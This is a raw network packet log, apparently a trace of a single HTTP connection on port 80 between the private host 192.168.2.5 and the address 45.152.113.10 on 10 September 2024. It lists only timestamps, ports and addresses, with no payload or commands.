Sep 10, 2024 19:36:05.536406994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536437988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536632061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536647081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536655903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536664963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536673069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536681890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536690950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536701918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536705971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536715031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536725044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536731005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536740065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536746979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536757946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536766052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536772966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536784887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536792994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536813021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536883116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536891937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536901951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536932945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536950111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536957026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536969900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536978960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536989927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537004948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537028074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537086010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537094116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537102938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537111998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537122011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537127972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537136078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537142992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537151098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537158012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537167072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537180901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537203074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537378073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537386894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537395954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537411928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537420988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537427902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537439108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537446976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537463903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537492990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537502050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537509918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537519932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537543058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537552118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537569046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537579060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537587881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537596941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537612915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537631989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537643909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537653923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537662983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.537687063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.537700891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.572215080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572227001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572285891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.572356939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572366953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572375059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572384119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572392941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572405100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572410107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.572437048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.572463036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.572886944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572901011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572911978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.572951078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.572985888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573046923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573055983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573065042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573074102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573082924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573091984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573097944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573106050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573143005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573159933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573199034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573209047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573218107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573249102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573282003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573391914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573401928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573410034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573419094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573427916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573437929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573443890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573482990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573555946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573564053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573573112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.573606014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.573623896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622234106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622245073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622304916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622414112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622426033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622436047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622446060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622458935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622462988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622476101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622481108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622489929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622500896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622508049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622515917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622524023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622534037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622544050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622549057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622560024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622575045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622591019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622745037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622839928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622905970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622916937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622925997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622936010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622946024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622952938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622961998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622972012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622978926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.622987986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.622998953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623008966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623017073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623030901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623048067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623065948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623075962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623085976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623101950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623115063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623261929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623271942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623281002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623291016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623301983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623311043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623318911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623334885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623347998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623413086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623424053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623466969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623565912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623575926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623585939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623596907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623605967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623614073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623624086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623634100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623648882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623680115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623727083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623735905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623747110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623755932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623765945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623774052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623783112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623790026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623819113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.623881102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623891115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.623925924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624047995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624058962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624068022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624078035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624087095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624097109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624104977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624114037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624124050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624130011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624139071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624145985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624154091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624161005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624170065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624180079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624188900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624196053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624206066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624212980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624229908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624248028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624367952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624377966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624388933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624397993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624408960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624420881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624454021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624504089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624546051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624686956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624697924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624706984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624716997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624727964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624733925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624743938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624766111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624775887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624846935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624856949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.624897957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.624993086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625004053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625014067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625024080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625030994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.625039101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625055075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625061989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.625085115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.625099897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.625334978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625344992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.625387907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659035921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659048080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659059048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659352064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659467936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659482002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659492016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659502029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659512043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659523010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659531116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659544945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659552097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659573078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659579039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659588099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659595966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659605980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659615040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659622908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659634113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659638882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659648895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659657001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659666061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659676075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659684896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659693003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659706116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659713030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.659730911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.659751892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.700385094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.700396061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.700404882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.700413942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.700424910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.700514078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.700599909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.700611115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.700668097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.700668097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.700701952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708121061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708174944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708194017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708240032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708281040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708297968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708308935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708313942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708324909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708331108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708349943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708355904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708365917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708376884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708388090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708395004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708451986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708452940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708468914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708532095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708542109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708549976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708568096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708591938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708601952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708609104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708619118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708630085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708640099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708669901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708736897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708754063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708765030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708774090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708781004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708798885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708808899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.708815098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.708832979 CEST	80	49707	45.152.113.10	192.168.2.5
